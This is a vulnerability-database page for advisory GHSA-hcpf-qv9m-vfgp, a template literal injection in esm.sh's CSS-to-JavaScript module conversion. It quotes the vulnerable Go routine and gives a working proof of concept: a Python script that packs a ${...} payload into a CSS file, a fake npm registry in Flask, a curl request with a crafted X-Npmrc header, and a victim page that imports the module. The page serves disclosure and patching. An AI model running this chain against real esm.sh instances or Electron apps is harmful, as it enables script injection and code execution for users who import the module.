esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScriptGHSA-hcpf-qv9m-vfgp
MEDIUMFix: esm-dev/esm.sh@87d2f64GHSA-hcpf-qv9m-vfgp is a medium-severity (CVSS 6.1) Code Injection vulnerability in github.com/esm-dev/esm.sh. A fix is available for github.com/esm-dev/esm.sh — see the affected versions and patch details below.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/esm-dev/esm.shReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.
When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.
An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.
Root Cause:
The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.
Details
File: server/router.go
Lines: 1112-1119
// Convert CSS to JavaScript module when ?module query is present
if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") {
filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath)
css, err := os.ReadFile(filename)
if err != nil {
return rex.Status(500, err.Error())
}
buf := bytes.NewBufferString("/* esm.sh - css module */\n")
buf.WriteString("const stylesheet = new CSSStyleSheet();\n")
if bytes.ContainsRune(css, '`') {
// If backtick exists: JSON encode (SAFE)
buf.WriteString("stylesheet.replaceSync(`")
buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
buf.WriteString(");\n")
} else {
// If no backtick: Direct insertion (VULNERABLE!)
buf.WriteString("stylesheet.replaceSync(`")
buf.Write(css) // ← CSS inserted into template literal without sanitization!
buf.WriteString("`);\n")
}
buf.WriteString("export default stylesheet;\n")
ctx.SetHeader("Content-Type", ctJavaScript)
return buf
}
When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions.
Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.
PoC
Step 1. Create Malicious Package (tar)
import tarfile
import io
import json
from datetime import datetime
# Malicious CSS with template literal injection
evil_css = b"""
body {
background-color: #ffffff;
color: #333333;
}
.container {
max-width: 1200px;
margin: 0 auto;
}
/* js payload */
${alert(1)}
/* More CSS to appear legitimate */
.footer {
margin-top: 20px;
padding: 10px;
}
"""
files = {
"package/index.js": b"module.exports = { version: '1.0.0' };",
"package/package.json": json.dumps({
"name": "test-css-injection",
"version": "1.0.0",
"description": "Test package for CSS injection",
"main": "index.js"
}, indent=2).encode(),
# Malicious CSS file
"package/poc.css": evil_css,
}
with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar:
for name, content in files.items():
info = tarfile.TarInfo(name=name)
info.size = len(content)
info.mode = 0o644
info.mtime = int(datetime.now().timestamp())
tar.addfile(info, io.BytesIO(content))
print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")
Step 2. Run Fake Registry Server
# fake-npm-registry.py
from flask import Flask, jsonify, send_file
app = Flask(__name__)
MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/<package>')
def get_metadata(package):
return jsonify({
"name": package,
"versions": {
"1.0.0": {
"name": package,
"version": "1.0.0",
"dist": {
"tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
}
}
},
"dist-tags": {"latest": "1.0.0"}
})
@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9999)
python3 fake-npm-registry.py
Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)
Step 3. Request Malicious Package with X-Npmrc Header (File Upload)
curl "http://localhost:8080/[email protected]" \
-H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
Step 4. Check Cross-site Script (alert(1))
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSS Injection Victim Page</title>
</head>
<body>
<script type="module">
// esm.sh import
import styles from "http://localhost:8080/[email protected]/poc.css?module";
console.log('Styles loaded:', styles);
</script>
</body>
</html>
<img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" />
in esm.sh Playground
<img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" />Impact
Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/esm-dev/esm.sh | all versions | 0.0.0-20251118065157-87d2f6497574go get github.com/esm-dev/esm.sh@v0.0.0-20251118065157-87d2f6497574 |
Affected Products
esm.shesmDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/esm-dev/esm.sh to 0.0.0-20251118065157-87d2f6497574 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hcpf-qv9m-vfgp is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-hcpf-qv9m-vfgp in your dependencies?
Find it across Go, including transitive dependencies.